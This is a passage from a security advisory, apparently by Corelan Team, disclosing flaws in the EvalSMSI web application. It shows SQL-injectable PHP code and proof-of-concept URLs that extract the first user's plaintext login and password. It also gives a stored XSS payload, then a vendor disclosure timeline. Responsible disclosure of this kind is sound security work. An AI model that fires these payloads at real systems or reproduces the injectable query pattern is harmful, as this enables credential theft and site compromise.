It doesn't give access to much interesting information but the lack of authentication augments the risks associated with the following vulnerabilities. 3 - SQL Injection SQL injection is possible via the script ajax.php The vulnerable code is the following (ajax.php, line 5): $id = $_GET['query']; $action = $_GET['action']; $base = evalsmsiConnect(); switch ($action) { case 'sub_par': $request = "SELECT MAX(numero) FROM sub_paragraphe WHERE id_paragraphe="$id""; break; case 'question': $request = "SELECT * FROM sub_paragraphe WHERE id_paragraphe="$id""; break; case 'num_quest': $request = "SELECT MAX(numero) FROM question WHERE id_sub_paragraphe="$id""; break; default: break; As a proof-of-concept, it is possible to obtain the username and password (in plaintext) of the first user with the following requests : first user name http://server/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 first user password http://server/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22 4 - Persistent Cross-Site Scripting It is possible to inject Javascript in the comment box of reports. Normally this would be less critical because you need a valid account to access reports. However, due the preceding vulnerabilities it is possible to obtain valid credentials. As a proof of concept, the following string can be inserted in the comment box : </textarea><script>alert('XSS found by Corelan Team');</script> 0x03 : Vendor communication --------------------------- [*] January 14th, 2010 - First contact [*] January 15th, 2010 - Vendor acknowledges the problems [*] January 20th, 2010 - Update request [*] February 1st, 2010 - Vendor update [*] February 4th, 2010 - Version 2.2.00 released Please note that the passwords are still stored in plaintext in the database with this release, yet the fix for the SQL Injection and authentication bypass are greatly lowering the risks. We wish to thank Michel Dubois for his cooperation in fixing the bugs we reported in a timely manner.
